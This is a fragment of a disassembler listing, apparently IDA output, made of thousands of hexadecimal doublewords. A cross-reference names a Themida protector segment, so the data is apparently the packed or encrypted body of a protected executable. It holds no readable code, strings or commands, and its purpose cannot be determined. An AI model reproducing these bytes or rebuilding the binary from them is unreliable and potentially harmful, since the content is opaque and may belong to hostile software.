		dd 0F739C96Fh, 82CF3141h, 81C1C851h, 71444A39h,	0F0E83940h
		dd 2DE3C23h, 464D0C80h,	0D312A35Ch, 90B7272Ah, 74445CA7h
		dd 5F3D9760h, 0A7FFC700h, 546485D7h, 92E47F69h,	75361664h
		dd 2A154F24h, 0CDCC9878h, 0C3674102h, 440C94FBh, 168546D0h
		dd 200977B7h, 0A4D03140h, 779F8F10h, 5F5D8C00h,	0D4EC4093h
		dd 0B96C00D1h, 0CB6E853Fh, 0D2007231h, 180DE7EBh, 34326A95h
		dd 0E61CD41h, 891BAE4h,	8CC513F4h, 5019C0C8h, 68009079h
		dd 0A749EB25h, 4DC3E5h,	0A82FF902h, 74CA3928h, 6EEC51C0h
		dd 0B8E9B4A6h, 0CC6C51EEh, 11510FF2h, 4C7C5D6Ah, 2448FEF7h
		dd 4727D0C2h, 1819C499h, 0E50D1D89h, 7020E4EBh,	0D048BB2h
		dd 183C532Dh, 23C850C2h, 71002259h, 0A8FF0C01h,	0EFF11Bh
		dd 0D692A6B7h, 0E01C280Eh, 900A1002h, 90705F29h, 0FF14388h
		dd 8C75276Fh, 91E851B1h, 5918C110h, 0BBF1314Dh,	7C9648h
		dd 6937F0E9h, 0C855512Dh, 6A86BFD8h, 3141B6h, 4395EE6Ch
		dd 0D1BBBE36h, 0A45CE72Ah, 0AA3160C8h, 392D0514h, 64767AFBh
		dd 579C4810h, 0D2C36D83h, 4449184Bh, 3BCBB050h,	2A1E9DFCh
		dd 0F300D72Ch, 72665D97h, 4690980Fh, 91A1EBAh, 0C485B948h
		dd 628E40C9h, 0EE49109h, 0AA7078D2h, 0C4717BADh, 0AF001E07h
		dd 7F10273Ch, 71B6B7D8h, 9B1A1E01h, 736C0065h, 9C6792ADh
		dd 803ECF38h, 53EC4315h, 1451B4D0h, 8C287CBBh, 762E13h
		dd 0EC015C9Ch, 81C03FC4h, 0B416A1FBh, 0DE79003Eh, 6F2C697Bh
		dd 4955B265h, 8D75FCACh, 0C5D268A0h, 14530A00h,	706A1F4Dh
		dd 0CCF1046h, 5C3178CEh, 75E73945h, 4E2AC981h, 0F4B49FB1h
		dd 0A30E8A6Eh, 256A88h,	0DFD3D5B2h, 0B8E550CAh,	0E85952D8h
		dd 3AAD3100h, 0A577079Eh, 0CFCA7F04h, 2CCFE249h, 0C7CF7588h
		dd 77908854h, 121C80DBh, 89E9CBAh, 21410CA8h, 88F5EB6Ch
		dd 1B9D5BF0h, 0C970E79Eh, 2089B8C8h, 599F6E00h,	870B73E6h
		dd 9ABE002Dh, 5CF86F50h, 75244A94h, 0E2001460h,	0F31486B4h
		dd 0D020E758h, 0D89C0970h, 0C8174A66h, 59845C91h, 45C08C73h
		dd 0B369F800h, 0B975A3E8h, 0AEC25h, 0D9D5DAC7h,	0EEF7CF0Bh
		dd 0EC176500h, 182CA76Ch, 3FD27C53h, 0F44CFF3Bh, 6A1B3200h
		dd 5258804Ch, 0E32C59C0h, 0E4C78831h, 0CF3A3F28h, 212308E6h
		dd 31BB8F1Ch, 43E48DC0h, 0FA6F2B48h, 0EE900449h, 0C2C0FEEBh
		dd 0B5308BBCh, 0F3161777h, 8D8C3850h, 3A779D1Dh, 0F5EF3380h
		dd 0B09F60F9h, 11644290h, 0D0404FB6h, 1370123Fh, 23043A7Ch
		dd 0B78E0071h, 65D40A2Ch, 0E6367401h, 7CF8C3DBh, 897B1833h
		dd 3D42959h, 0B0AC8B5Eh, 52E92028h, 0BA029E46h,	98F31777h
		dd 8A0130C7h, 6E057782h, 2EAEB7CCh, 74A80817h, 1000CF46h
		dd 0F5A7FE14h, 5A900206h, 16ED004h, 0C8C34E7Ah,	0EBF4C03Dh
		dd 804896CBh, 0AF8AF5BDh, 0F000731Ch, 7EDCCA81h, 2A2717E3h
		dd 0B1906F13h, 1875D168h, 0E4FA00CDh, 0B589E5F5h, 8CB09E8Ah
		dd 9A756C00h, 0DBEBFD02h, 12A8075Dh, 0C24E36BFh, 0B091C4F2h
		dd 52F11046h, 0DE620022h, 55BF5DDCh, 61F6D8EFh,	8CDF0C3Ch
		dd 40A0C3F8h, 2AD57043h, 0EBC72E4h, 0FECAF362h,	0A04F4760h
		dd 0BF0D141Dh, 3045CFF8h, 3087D402h, 1A117799h,	0A288B0F3h
		dd 77818983h, 3C36E8D5h, 7F531298h, 9D9408D1h, 8481E4C4h
		dd 942680C7h, 8C00D422h, 0CD0531BCh, 2E7F4A7Ah,	6414C046h
		dd 0F1F720B6h, 20B5598Fh, 0B0126519h, 8B61882h,	0B8F36377h
		dd 217DC6h, 0B9779E8Eh,	69AA6D55h, 0D16CBB03h, 0D718CC14h
		dd 0B7DBEC60h, 0BEB12880h, 0B580C488h, 1AD45031h, 409135E5h
		dd 2191110h, 505EA57Ch,	1C83F87Bh, 36537385h, 0D7DA17Ch
		dd 2C0B5E0Ch, 48E728C1h, 4AD0EC3Ch, 33F44058h, 1805E64Eh
		dd 9623D800h, 0D199EF15h, 18AE9F13h, 65700E20h,	0E016E45Dh
		dd 0BC32F150h, 1CC4A9h
dword_4B305C	dd 0FF129FAEh, 0F889426Bh, 0F7F13C0Ch, 0E2F29B9h, 0C55A5014h
					; DATA XREF: Themida_:0050FAD8o
		dd 1E693920h, 2B0A4975h, 0C4F34CBEh, 0F1C35F67h, 0EB38A10Ch
		dd 40F86C20h, 28910195h, 860D70D0h, 11132F37h, 0B721C190h
		dd 0D19B13DCh, 10983A46h, 80DD0D47h, 72C0AA9Ah,	0E5044DE8h
		dd 0C7CB8610h, 47619F1Fh, 30478DD1h, 282EBB6Eh,	0DCA25400h
		dd 0EF6D7AE1h, 6C052C2Bh, 0DB430BE8h, 407C9884h, 333D9211h
		dd 0F6E606h, 0C051A0A7h, 0C377029Bh, 0CCF1ED04h, 60EF4959h
		dd 468B3D74h, 0F6671003h, 0A042D5B8h, 72CFC53h,	1BD754EFh
		dd 61D9C39Ch, 6D81AEE7h, 0F1FEBFE9h, 8F1EE0E0h,	10C368E8h
		dd 0D026A199h, 15555Ch,	0DD6B5374h, 0D16FE81Ch,	3EF7D38h
		dd 46956D16h, 0B8E9D0E4h, 0F9FF810h, 9A61E0BCh,	8308F00Dh
		dd 6996630h, 0A0F7E3EDh, 948816h, 0AC65DA53h, 0AB6BE35Bh
		dd 0D153091h, 16BFEB04h, 1C8235E7h, 0C894E018h,	32723E46h
		dd 2BD0404Ah, 667DF899h, 0E34E0B00h, 0B829F590h, 0C3080BA0h
		dd 0D84F3FFBh, 0D8B6E560h, 0C93E0047h, 4D279197h, 4112300Fh
		dd 6CCF84C0h, 8EC07488h, 10367E2h, 0DFA52C69h, 0D35820B0h
		dd 64CAF900h, 0AB9FC013h, 22B0FA7h, 0E3003DE8h,	5110AD06h
		dd 0C020CC4Bh, 7D70BDBEh, 6172034Ah, 0C5183DB1h, 0D7539598h
		dd 35148F18h, 0CB21B8h,	4E3B615Fh, 0AA8994ECh, 590CF413h
		dd 0B317ACD0h, 269F004Fh, 325667DFh, 2F00926Bh,	5CCD1569h
		dd 0F2C69CE4h, 0D045046Ch, 0E3BB4CD6h, 9171E30h, 0C58DB94Bh
		dd 1FF180D8h, 9FB49709h, 0B665D717h, 0FF274C90h, 49C207B3h
		dd 0B7B58E4Eh, 11F4CAA1h, 0BD60071h, 79EAF4BEh,	290E041Bh
		dd 0B1347241h, 7BCFD98Ch, 436ABC43h, 6C591748h,	52849013h
		dd 8F00493Fh, 963B08FBh, 75909D2h, 6F8A8271h, 75C5D00Dh
		dd 0D8B40F72h, 30BDE0B2h, 0B5110911h, 2D887DB9h, 919FB80h
		dd 0BAB372Bh, 0B2DFB344h, 0F4E581DDh, 14264AECh, 2CC131E0h
		dd 0D60042E2h, 0A32B2A1Dh, 9E48C6C3h, 32F28828h, 97A0B982h
		dd 13F08242h, 0B6347807h, 5E465EF0h, 12D2A701h,	0D3CBC2BEh
		dd 0A96EECD0h, 53285918h, 0DEA80D29h, 0CFC90709h, 4E4AB0E8h
		dd 6802700Eh, 78A5D51Eh, 0C1E480A8h, 0C0EF67CFh, 6A104B20h
		dd 64E4D545h, 12CDAC40h, 1913CB27h, 20449C00h, 0DFF433D8h
		dd 0C0D05E6Ah, 22FD08h,	45576831h, 0D4A949B0h, 0D9DFDCF1h
		dd 69202C63h, 7183E267h, 31E281A8h, 18B0C785h, 0BA9288D7h
		dd 81C03100h, 0F0C44935h, 43110CECh, 0C5A0A2E8h, 0C2F72710h
		dd 83195003h, 98126353h, 1408CD51h, 915C1B9h, 6C1DE999h
		dd 0E3F7B3CCh, 0B7080309h, 0CA96904Ah, 0E71E9812h, 0F668A8A4h
		dd 0CCF327E5h, 7A73881h, 0FC9F4031h, 0E8C62AE1h, 74C13DAAh
		dd 789F526Ah, 89318602h, 0D53190C7h, 31BE8E10h,	8200E676h
		dd 9BD94377h, 0EEFB19D7h, 4968C12Dh, 38D814B9h,	30D6BDC8h
		dd 520034BAh, 5C2BE424h, 0EC7336A7h, 0B8A0F5F5h, 627720A0h
		dd 5987EE13h, 0E816D493h, 1D5C9D2Eh, 49E7892Fh,	500071F8h
		dd 0ACA46CA0h, 0CEE17517h, 74EBF088h, 0B321FD9Ch, 30D14C48h
		dd 379157E7h, 5D001E67h, 6C96FEBh, 2F86AEAh, 0B9539FE4h
		dd 0CC41A075h, 358F181Fh, 625AE30Dh, 0B0205990h, 12380D81h
		dd 0B844A563h, 8CC507A1h, 0C98C5954h, 27E789Bh,	0F9C39F48h
		dd 60426E75h, 0B4BC3044h, 831A308h, 2B80DEC8h, 0E85EAE92h
		dd 409900FEh, 36EED852h, 0FF018FE5h, 0BCBFF282h, 1462596Ch
		dd 5F077600h, 170F2725h, 44E23Fh, 0C0DFDCB0h, 114C197Eh
		dd 3C1C43Fh, 9A2CF75Ah,	0D4460036h, 9CFC160Eh, 0CF7DC3C7h
		dd 0CD4E41E6h, 0D1B85847h, 0D42940D1h, 0C5F2F432h, 0CC855630h
		dd 8510EE8h, 0A5244312h, 2448A854h, 46745C22h, 0FFEF5048h
		dd 0C8272F24h, 0F8C3DD02h, 13F8A77Ah, 0B971FCh,	0A644F9B1h
		dd 0EF8AB8EAh, 2A9A0400h, 0BC6C8057h, 87FA82h, 4116A34Ah
		dd 175AFF5Bh, 4E9BE400h, 0D167CA9Ch, 1C915C5Ch,	0D4347BCh
		dd 0A755C300h, 0B628BF59h, 704F9E01h, 4B980DE8h, 12D31820h
		dd 0A79D0FCFh, 0E050A0A0h, 6E13E42Eh, 1E00190Fh, 0D723DBABh
		dd 38056E00h, 24261B77h, 0E0D8B0A8h, 7968B1D5h,	9218C9h
		dd 0BB6973F1h, 53D74735h, 6ABC2D50h, 0B056B55Bh, 5B8CC830h
		dd 4A2100A9h, 12459CDBh, 4803763h, 8CCA0B6Eh, 0FC115974h
		dd 2B47F8F4h, 0CAF6E23Ch, 0C6C8708Bh, 698430C0h, 95D10163h
		dd 0C18FF392h, 98482A75h, 914C0BCh, 0B546B9B4h,	0F0002C22h
		dd 0BD67091Ch, 2A670F9h, 179FD3B6h, 0A4E1C78Eh,	0E050743Fh
		dd 0AC2F745Ah, 0DB017F23h, 3BB7D01Fh, 0C42D1F4h, 0DE93FFC4h
		dd 0F8A1F058h, 7CC024A0h, 0C0BB6A13h, 309CF032h, 0EC113187h
		dd 0DE88E8C7h, 31BFBB80h, 60FFA8FBh, 0BE6D729Ch, 9790408Dh
		dd 392EECA4h, 0E56424D2h, 9BAB1920h, 0C2F17340h, 431324C8h
		dd 500B200Eh, 2419C75Ah, 78722D5h, 50AE9588h, 81AA168Ch
		dd 0C7C5D006h, 4BD8CA73h, 4B0CD0C8h, 0DF004879h, 0D446DE14h
		dd 249F19EEh, 4C8B6B0h,	0ADE79E9Ch, 83017F50h, 0FC11CC41h
		dd 1F30EB4Fh, 22840E74h, 44E27CAEh, 10512165h, 74891D00h
		dd 0A0C3662Ah, 2EB358A2h, 9741A3Dh, 0A8D1D834h,	6D18A479h
		dd 0F387EF3Eh, 0D1DC530Bh, 0D0600302h, 0AB3398CCh, 0E7EB0147h
		dd 6A9778B5h, 9F142032h, 0E0DA2140h, 48C94C46h,	5D38C885h
		dd 0DD7C0084h, 58B55720h, 0DF98A250h, 93A6720h,	4884A5E8h
		dd 0FE6F1481h, 18412ACBh, 0CC832C21h, 0BBB6DA87h, 0D432EB46h
		dd 47591CD9h, 0B5390318h, 53E580C2h, 5254166Fh,	805D09D1h
		dd 9465Fh, 0A3E49C45h, 12024160h, 0A62C0172h, 0CD4070CBh
		dd 0EF56181h, 434E4798h, 0CC1CB4C3h, 0E3B6BA90h, 531D4402h
		dd 853F85E4h, 0E4CEBDB4h, 0C3C0D988h, 0A090BCFDh, 402FCFACh
		dd 0B570683Ch, 0C0DA820h, 2DA18C5Bh, 8098B168h,	5DB42854h
		dd 84C9C32Ch, 0EB74AC48h, 0B0CB2019h, 1D53A600h, 0BC33FC21h
		dd 8C2097CBh, 16E47A83h, 9A04AFE4h, 0BC04AE27h,	89445491h
		dd 3A54F830h, 5AA40D68h, 61C1604h, 0E9DC5958h, 0BB7AE3A0h
		dd 5B4AA100h, 0EC8349ADh, 346C385Fh, 75D08281h,	7C628060h
		dd 0EB009E0Ch, 833FDE1h, 241497A8h, 748004F7h, 0BA729335h
		dd 654B20D4h, 6F282098h, 1A25B852h, 80B0356Ah, 2DEDCDECh
		dd 65EC27BCh, 6E205C50h, 0B81CF103h, 124137F8h,	0A4CBEB70h
		dd 800E5E4h, 7412D0D1h,	0EC9EEh, 577E7609h, 0F6EB351h
		dd 0D2871500h, 0EFDFC49Fh, 74A89A39h, 704C2766h, 389C7C60h
		dd 91781D9Fh, 0E106805Eh, 13E2BBBDh, 8832659Fh,	6E00842Ch
		dd 0A5728FEBh, 3AF40F4Fh, 0E48558B6h, 177E1C0Dh, 0C8F0CBE0h
		dd 9C36C04Bh, 0B9DFE875h, 0B881426h, 0BD50023Eh, 0F09170E4h
		dd 0DF24F0FEh, 1A5B5C00h, 4FD9B04Eh, 3F02008Bh,	57975A27h
		dd 50B0CBA9h, 0DC69D860h, 973FF275h, 989D8009h,	2881C511h
		dd 2F13F471h, 20012840h, 14B945EFh, 0E8995936h,	66C22309h
		dd 9CF19880h, 566AC6C3h, 44286CB9h, 8D458A4h, 724C5148h
		dd 0C4DA4AD0h, 5234C480h, 0CA02AB15h, 6A7F0963h, 2038795Ch
		dd 8EC140A4h, 0CA1B892h, 1D841862h, 2EEBE20Dh, 9EB370C4h
		dd 1E6A0D04h, 0B4FC1835h, 16968C0h, 3C02FD22h, 0C0B5898Ch
		dd 0BCE86857h, 12A9776Ch, 49D0784h, 0A2D01D7Ch,	242B4BB4h
		dd 8604C223h, 0DC98B079h, 0E94A6059h, 822E8D1h,	1CAF4903h
		dd 0C8B95DF0h, 48EC9C33h
		dd 2C802CCBh, 0D0DEDC3Ch, 0BC0C5139h, 736C02A8h, 59186F89h
		dd 0A31900C0h, 4E312CABh, 0DDDFF309h, 0D1A080D6h, 9D9CEC1Ch
		dd 0F8E26818h, 9368703h, 0CFCF145Dh, 0B4A5AF30h, 9A7702D2h
		dd 0B2930569h, 89EEF890h, 449A6CEAh, 90CB4125h,	5048BB1Ch
		dd 18A5A074h, 0B9B56518h, 0D70DEB30h, 88456D97h, 453ADC21h
		dd 8ED843A8h, 0C020C820h, 3D3843A5h, 0E61709F0h, 4C301B4Dh
		dd 1D80136h, 59C5B37Dh,	20FC928Ch, 7A0B891Ch, 0A25BF4B9h
		dd 180D54E4h, 0C4874BDEh, 24DC60D7h, 0FC1B0E7Eh, 0A5695334h
		dd 0E46900E0h, 96697360h, 472478Ch, 0FC8BFDDBh,	0CDB481E6h
		dd 44FC147Dh, 37C27880h, 7F03BE36h, 1093243Fh, 2C98B047h
		dd 7511268Eh, 94482AA4h, 0A501D618h, 82648853h,	1220697Fh
		dd 69F896D1h, 0DE5908D1h, 4402AB18h, 0F8ADEBDBh, 0F7E0C0AFh
		dd 4520B0BCh, 0E12161DFh, 2C413EBFh, 5D6A5B41h,	4C80845h
		dd 25D8BB18h, 20914097h, 7AF98A80h, 10018375h, 0F18C2924h
		dd 0B4684A3Ch, 78C7BB8h, 0CB49311Dh, 860499Eh, 3C80380Bh
		dd 219C9636h, 18C6D1C4h, 0B2870294h, 7DB87E8Fh,	10325061h
		dd 585BD331h, 0D113B467h, 0C0409A4Ah, 0A1385554h, 48E74C75h
		dd 4818D089h, 0D100DE69h, 719D0653h, 0BA0754h, 0CD1BCFD2h
		dd 9BEC6FDBh, 30C33204h, 9CF45878h, 9E6E3E01h, 87AAA185h
		dd 8F188093h, 7890D19Dh, 866FD300h, 0C1DC5DD5h,	41CB66Ah
		dd 0E4AEF43h, 40598FE5h, 0EA0FA85Dh, 165CB836h,	48B382D2h
		dd 9D41247Ch, 4C228066h, 0C9A01C26h, 1C499007h,	8916FD30h
		dd 60C9C753h, 6570E0h, 6B311B40h, 0C3E9D88h, 0CDBF3607h
		dd 207F5116h, 0F82859C0h, 613B0EC5h, 806F0270h,	27F20FA0h
		dd 1EE8E7B5h, 0EE41A100h, 3B1B5E03h, 47E63C34h,	3E867F2Eh
		dd 8467F300h, 687AD6B0h, 78611100h, 0E5A53902h,	1D760Bh
		dd 32F19C6Ah, 6F7C0970h, 0E20CBF0Eh, 75650379h,	403B88B7h
		dd 0EFB570DAh, 8702A878h, 86F133D5h, 7111FC9Dh,	3CA05B82h
		dd 609D605Dh, 0EB2F3D2Eh, 7BEC93h, 0F4596CD0h, 0D8A04FA1h
		dd 4417C5D2h, 0EC08B953h, 20E8205Ch, 38B0338Dh,	0D54CBF46h
		dd 6DB9B709h, 0F5076C1Ch, 6C68098Bh, 0E20CD4E3h, 3F4041E4h
		dd 0CB006E08h, 0EE113BCEh, 59F78494h, 0C08118EBh, 0C675E7F3h
		dd 0ECE90100h, 785D14EBh, 94116079h, 0D0A44C45h, 0F2E9008Ch
		dd 0DA5D4E74h, 442B0C1Ch, 36806FD1h, 0FFC73E84h, 1BE03BA4h
		dd 8CAB206Dh, 789D45AAh, 7594CF11h, 0A9C88400h,	3F955864h
		dd 541D700h, 0EBF9BE25h, 0AD7CB696h, 0C4914497h, 4E594D83h
		dd 6390E970h, 50EDFE05h, 0A08242AEh, 31E53082h,	98C7D213h
		dd 189D838h, 0E2C531BDh, 0FDBF6C99h, 4E07833h, 4C458FF3h
		dd 376ED100h, 1428B56Bh, 6CF4BC73h, 0BCB87CE9h,	13038CC8h
		dd 0BD3ADEE6h, 70DFE9B9h, 21BC70A0h, 6C2EDD25h,	2D4656h
		dd 0AE62ACC1h, 4E7FE4Fh, 5EC99776h, 0E2FCF291h,	2CDA3170h
		dd 43BE81C4h, 4BE0A733h, 0D43727A4h, 18444016h,	28A9B0ECh
		dd 17947AE4h, 6D33FCCh,	516513B8h, 0B74FB900h, 0C1FAE19h
		dd 0DA673F9Bh, 0C24E2574h, 404DECA9h, 0C86009C3h, 0A126B9DCh
		dd 9440BFA4h, 94CC3904h, 89EC8FE0h, 7462BC69h, 508520D9h
		dd 84AC1940h, 2DC46C24h, 0C85F804Ch, 0B5E9C490h, 846D480Fh
		dd 1C20D030h, 11458F75h, 12C51EAh, 85C581ABh, 0EC623002h
		dd 0D17D0A07h, 0F0005E60h, 0B582DD2h, 897506D8h, 5C1E08E4h
		dd 2098DC4Ah, 27F85DC8h, 0E0E9A44Fh, 50BB1881h,	9FA09C77h
		dd 8B003896h, 89347783h, 12246849h, 19C4F7FFh, 3C90A2F8h
		dd 38085830h, 0EABD9FD0h, 2A80A0E7h, 66083Bh, 2E48DDE1h
		dd 1F73A290h, 293ADA7Fh, 0ECF784EFh, 1CC78F53h,	0B5D81412h
		dd 0D6208050h, 0F54644CEh, 708EA494h, 224B88ADh, 27120BFCh
		dd 6C63EBCFh, 0C18CC6ADh, 548FAEC2h, 1088C27Dh,	4FF87BA4h
		dd 71F4D67Fh, 80B79Fh, 0CCD69895h, 0B15B0245h, 21CCC8h
		dd 0BC1526BBh, 18169A8Ch, 95C10A19h, 0D11273C8h, 2C441467h
		dd 0CE92D077h, 5B160B85h, 4C04A8CCh, 0EB0B7353h, 5C11E09Dh
		dd 21A7C980h, 60613FCBh, 30640A48h, 4BBC903Ch, 77CC128Ch
		dd 93A81F43h, 0C81CCE79h, 2135C0D5h, 0F50538E2h, 0F6E3F312h
		dd 11BCC4B9h, 85627E00h, 0FD59410Ch, 4104BC9Bh,	0E4033E2Fh
		dd 0C600A7ECh, 0C0F9E6BEh, 0FA0CB1B8h, 0C3D61251h, 5368B4CEh
		dd 78558C16h, 0C7C5A0C0h, 2154F6Fh, 40E2DF64h, 7579C071h
		dd 0C8024518h, 6581660Eh, 6D4524Eh, 0C9E7F16Ch,	585F70D5h
		dd 4BA65440h, 24A3B5h, 9D0EE565h, 411870A1h, 88678012h
		dd 0D533BC05h, 0CFC8188Bh, 79FBA6C0h, 0EC6F04DFh, 0A9CBBA9Ah
		dd 454E00BCh, 6415E48Fh, 88960063h, 32625B92h, 22097C9Bh
		dd 59FEEB84h, 185F7944h, 0EEF3B14h, 10482F5Fh, 49C00CA4h
		dd 9F4AADB8h, 94F3442Fh, 6C10F540h, 79CB6B13h, 6F398079h
		dd 0F848697Fh, 22A49085h, 0DC5B7C17h, 0C2BC88h,	0BE74CD1Dh
		dd 0DB4B761Ch, 26377B02h, 0F494D391h, 67CC6494h, 80BF485h
		dd 90182CBBh, 0CEC28B7Bh, 425C1090h, 0C5A59CB6h, 6074E478h
		dd 30147B5h, 4D9C6B3h, 0A0C6696Ch, 10B6609Bh, 0E41A2C08h
		dd 0BF6D4164h, 796C650Ah, 4BCD11ACh, 38394427h,	9E11886h
		dd 0B8C78E31h, 8D607859h, 7D5E31B9h, 3EA32024h,	0C45E809h
		dd 62108975h, 9CB73Ch, 9A535FC5h, 7209CB35h, 51D545FDh
		dd 19C579C0h, 7D3C8F4h,	474164CFh, 4CDA794Eh, 957E38h
		dd 0DE739EA2h, 50657Dh,	0EB8FA0D2h, 3C25E7F3h, 6CB42582h
		dd 10700B3h, 60401EBEh,	0BC3FC353h, 0CD588274h,	0E2289B3Ch
		dd 6C088BFBh, 44B48764h, 720674Bh, 50336818h, 2F532C2Bh
		dd 488105FCh, 39A075BFh, 0F07B898h, 5B21744Ah, 6551DDECh
		dd 69C7E474h, 3740F7C2h, 0AD1E96Ch, 3523CFC7h, 0CC843BF8h
		dd 0B52FF318h, 0BC2F3A34h, 3500CF23h, 0BD50CA20h, 12FC00F7h
		dd 61B1C36Ch, 0F14ABF6Eh, 0F5906481h, 8860CE04h, 0F4BDC048h
		dd 0DC69F275h, 2C4479h,	3C5CD04Fh, 0B995F71Bh, 0CC4B6938h
		dd 8C7BBC78h, 4F417E00h, 0E02CB43Fh, 734D20E7h,	8247C8B6h
		dd 7FE33D80h, 6BBC0075h, 0B94537ECh, 0E1520F89h, 0F38706ECh
		dd 4F1BB7Dh, 249EC480h,	0C234EC22h, 0C0A46830h,	814EE0C8h
		dd 0BF40850Eh, 8CF16BF8h, 0F14460E6h, 80034AFFh, 0AB336DE0h
		dd 94BDA32Eh, 2D8FD705h, 7414E785h, 0E95F0F94h,	339DA04Ah
		dd 772993CBh, 0C8C90431h, 8E186FDCh, 0C07B8830h, 0E7E6FEAEh
		dd 0A11471E8h, 4A34DFD0h, 78F264B2h, 134A430h, 0AC5595B2h
		dd 0CD9B805Dh, 0BC98293Bh, 2F473054h, 0C30CA6E6h, 0E0D7F826h
		dd 0A47028A1h, 3202860Ch, 0F0DAF86Dh, 9FE4FC13h, 0AEC00FDh
		dd 3EF390C6h, 48C495h, 535174C1h, 0F78EFEF5h, 9EE643Bh
		dd 6558363Ah, 0CA2E2E8h, 0F0DB18h, 0D76715E9h, 0F5E4680Dh
		dd 0ED2DAC9Eh, 3016C7B8h, 0A8595897h, 0F110CD02h, 223094ECh
		dd 375DA765h, 6FBC0008h, 0FB65FAB3h, 6951D900h,	0A8BFB4BDh
		dd 0D80859DFh, 314F943Ah, 1C56B60h, 0B863B96Ah,	402FF121h
		dd 0D309D7DCh, 81742440h, 2D69E8h, 6078D05Dh, 947320A7h
		dd 18C0493Dh, 97F3EF33h, 81289C89h, 8560A01Dh, 10CC27E4h
		dd 0C514FBDFh, 0E88184C9h, 0A89DD4B5h, 152CA418h, 183E38B9h
		dd 6341B1B7h, 77CD1759h, 0E0A0F6F1h, 7228521h, 5044DE25h
		dd 64592C59h, 2BD8EA00h
		dd 6198B7FDh, 267F092Ah, 0F002B9BEh, 0CD09A294h, 542AC0F0h
		dd 6B09AAEDh, 713E1CBBh, 393500F8h, 0FD59BCC2h,	4A73180Eh
		dd 0C38E2675h, 9C909D21h, 8009013h, 28F66029h, 9FFCBA98h
		dd 42A88C0Fh, 7D1A3781h, 88C423B5h, 1B58305Eh, 0E9AC82CCh
		dd 0CDF500Bh, 0D4DAE4h,	8FA296F5h, 0CF5EC415h, 7408DCEDh
		dd 7FA6EB0Eh, 1C1696E7h, 0ACC03316h, 0E959F453h, 0F1D4EC40h
		dd 3066975Fh, 5C71F491h, 0EC044F18h, 593B8331h,	0EBE02480h
		dd 30F9CB15h, 0A280F037h, 55F7F30Bh, 88049E39h,	7325D8AEh
		dd 0ECC40070h, 4B80B973h, 73D0134Ch, 501950A0h,	740052EAh
		dd 677BBEB3h, 4ADEE6Ch,	0A571CC62h, 3A4E2CEh, 0BDFC7381h
		dd 507063DBh, 0D0007A7Fh, 3036E394h, 0BE9E9CF8h, 18BB7160h
		dd 0C4214865h, 109F5D22h, 3814E21Ch, 53806FF2h,	4F4763EEh
		dd 5A02C449h, 4345FE34h, 0B190E09Fh, 0D9A00E25h, 0F65398EAh
		dd 0D4D1E07Ch, 0E88C8CCh, 0A0730886h, 4EDFF6F1h, 0A2808487h
		dd 305FF2E8h, 8906C503h, 1AAFFF3Fh, 0B5E41748h,	0E9F884D6h
		dd 73A2B884h, 0B1651862h, 596C1953h, 0DAA18C13h, 3E100A0h
		dd 8664BD9Dh, 0AC84D5EBh, 8C23BC1Ch, 0A485791Eh, 22701A81h
		dd 13D427E9h, 0CE305AADh, 0C25FC8C4h, 0C0697522h, 6DD11273h
		dd 0F9B3889Ch, 0A907CF89h, 0B09C01E4h, 199F725Bh, 0BC08A173h
		dd 0CADF4279h, 0A1AD6410h, 0FF00EE8h, 78823Ch, 24506023h
		dd 0C8120880h, 4D2B903h, 61911F0Ch, 8C5B4470h, 0AB8094F9h
		dd 0B0817820h, 42D527E9h, 70E23065h, 0D8E4180Dh, 28825403h
		dd 0E0686D7Ah, 0C23153CFh, 0C1D450A8h, 0B2E8AF5Dh, 0DDB8A4F9h
		dd 0CDC4C01Ch, 0A8B90802h, 1E8CD6FBh, 9CC8E5EBh, 0A414820Fh
		dd 0F2A00Eh, 6ACFD28Ch,	9C16791Ch, 8FA04F98h, 8E943B61h
		dd 0E6F11F01h, 681D0EB1h, 0F3EE2080h, 9B84445Ah, 0ECD7C126h
		dd 0EC0420EFh, 746611E0h, 42A20957h, 48502BD5h,	9E023CB4h
		dd 69BBFB1Fh, 5ACCCB54h, 50F01F1h, 0FA1ACFD0h, 0B719D01Bh
		dd 9F460702h, 0DC5CA589h, 9023EBCh, 0B67DF7A1h,	12A0905Fh
		dd 0EC87956h, 905964F3h, 94334243h, 81BC38C8h, 82005842h
		dd 51AE3F5Ch, 4E0226DBh, 5DEBCFD5h, 9D45660h, 0EC74F516h
		dd 63F13900h, 0B1E8754Ch, 95B00090h, 8183A545h,	0C099CB71h
		dd 0F3FBC305h, 0C0BBA8D2h, 0E4FE34h, 90BD4648h,	0AD4A57CBh
		dd 1C7A1D00h, 39C70C51h, 3A8A7644h, 0CD98EE2Fh,	0CE132880h
		dd 0E7845C00h, 3E41465Bh, 3B500053h, 0CB9FD848h, 540062E2h
		dd 0BB2FC6A0h, 84AC67h,	0F156EEB9h, 8C4E1D94h, 3B6BD3Ch
		dd 29479BE9h, 0BFA3E3h,	0EC6EF408h, 1B75E83h, 3AB630C0h
		dd 750FACBAh, 0EFD83BCBh, 0B1C017Eh, 0EE96055Fh, 0AEBD4359h
		dd 80B3AAE9h, 717F5D10h, 0F7171384h, 1B9962CCh,	90D7C66Dh
		dd 19552380h, 0C5777E03h, 0F043F7CBh, 683E010h,	0A88FB690h
		dd 92F0C8EBh, 725D6100h, 0DFC7020Ah, 62A5034Eh,	5F8DED93h
		dd 0BD092CF8h, 0B00E4837h, 0FA417977h, 7FEDDC35h, 4E3AAC40h
		dd 0E29CA006h, 1A440A23h, 3EF10C1h, 8AD859Fh, 803120D9h
		dd 8D639071h, 0F5CDF40h, 3A9144E0h, 0E200D055h,	6A2942D8h
		dd 9C07D57Ah, 0AEFF0B4h, 36CE35C0h, 0E5F0D3h, 1D5B4FCDh
		dd 0C07CFB48h, 9D4C0118h, 1E12841h, 0C85B522h, 0F82B68C2h
		dd 64CF634h, 9E657653h,	7D82FE29h, 40E0E003h, 0CB670B3h
		dd 0E6AB8EB2h, 0F0E211A9h, 4BC16D00h, 56719584h, 44D81DD5h
		dd 0F873002Dh, 2E1C68D6h, 78E34000h, 13E2CA39h,	0E9B06019h
		dd 550E7A2Bh, 939D2100h, 6EC9AE2Fh, 4BA50051h, 45382615h
		dd 6400A041h, 58D53520h, 1B49AE4h, 0D6EBC572h, 0C852854Ah
		dd 3700F5B2h, 393FA08Ah, 79D60B4h, 0DD488C2Ah, 0F9188C33h
		dd 84D0C002h, 0B6739EC2h, 0FC930220h, 2848A689h, 42499887h
		dd 0E160C1E8h, 610395FDh, 4D88897Fh, 0BF11E029h, 0C54C3AB7h
		dd 4EE6F903h, 589BA114h, 842029ADh, 47D31681h, 0C0801410h
